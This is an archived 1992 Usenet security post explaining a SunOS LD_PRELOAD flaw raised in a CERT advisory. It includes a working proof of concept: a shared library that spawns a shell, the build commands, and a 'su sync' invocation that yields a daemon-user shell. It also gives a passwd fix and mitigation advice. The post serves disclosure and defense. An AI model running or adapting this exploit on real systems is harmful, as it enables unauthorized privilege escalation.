home *** CD-ROM | disk | FTP | other *** search
- From: rob@wzv.win.tue.nl (Rob J. Nauta)
- Newsgroups: alt.security,comp.security.misc,comp.unix.internals,comp.sys.sun.misc
- Subject: Re: that sun env var thing -- it's the old LD_LIBRARY_PATH thing right?
- Message-ID: <3362@wzv.win.tue.nl>
- Date: 29 May 92 10:33:50 GMT
- References: <92May28.204058edt.144029@explorer.dgp.toronto.edu>
- Organization: Sex, UNIX & Rock 'n Roll
-
-
- In article <92May28.204058edt.144029@explorer.dgp.toronto.edu> flaps@dgp.toronto.edu (Alan J Rosenthal) writes:
- >
- >Again the cert advisory fails to inform as much as it could... that sun
- >environment variable thing.. it's just ld.so with relative path names in -L
- >options right, the one we've known about in alt.security for a year or two? Or
- >has something worse been discovered?
-
- Not the relative pathnames, but alternative paths/libraries with the
- LD_LIBRARY_PATH or LD_PRELOAD variables (the last one is undocumented).
-
- Make a file 'sync.c'
- sync() {
- execl("/bin/sh","sh",0);
- }
-
- then type:
- brasaap% cc -c -O -R -pic sync.c
- brasaap% ld -o buglib.so.1.1 -assert pure-text sync.o
- brasaap% setenv LD_PRELOAD ./buglib.so.1.1
- brasaap% su sync
- $ id
- uid=1(daemon) gid=1(daemon) groups=1
-
- Instead of 'su sync' you can also use 'login -p sync'.
- FIX: change /etc/passwd to:
- sync::65533:65533::/:/bin/sync
-
- SUN has fixed this not by fixing ld.so, but by fixing a few UNIX commands
- that are setuid and exec normal programma's (su, login, sendmail).
- Other setuid programs that exec normal programs should beware of this,
- and either setuid back before exec(), or clear LD_LIBRARY_PATH and
- LD_PRELOAD before exec().
-
- >thanks for any info,
- >ajr
-
- I don't know what took them so long, I knew this last year, the owner
- of this machine complained about this in january or february to sun.
- It's a shame that it seems now it's not permitted to discuss any UNIX
- bugs as soon as they have an impact on security. CERT is more like a
- black hole nowadays, with all our mail and news going in, and only
- crappy vendor advisories and general textfiles that don't go beyond
- 'check your hosts.equiv for a "+"'.
-
- Rob
- --
-
- /~~~~~~~~~~~~~~~~~~~~~~~~~~\ A/~~\A
- | - From the keyboard of - | ((o o))___
- | Rob J. Nauta | \ / ~~~
- # | rob@wzv.win.tue.nl | # (--)\ #
- ----#---x---x---x---| Phone: +31-40-833777 |--#---x---x---x---x---x---#---
- # \--------------------------/ # \ #
- ----#---x---x---x---x--| |--#---x---x---x-| |--x--#---x---x---x---x---x---#---
- #)( \\| /*\/|(( | | )#(// \\)(/ \| |(// \#(// \|/ \\)|(/ \|)#(/
-
-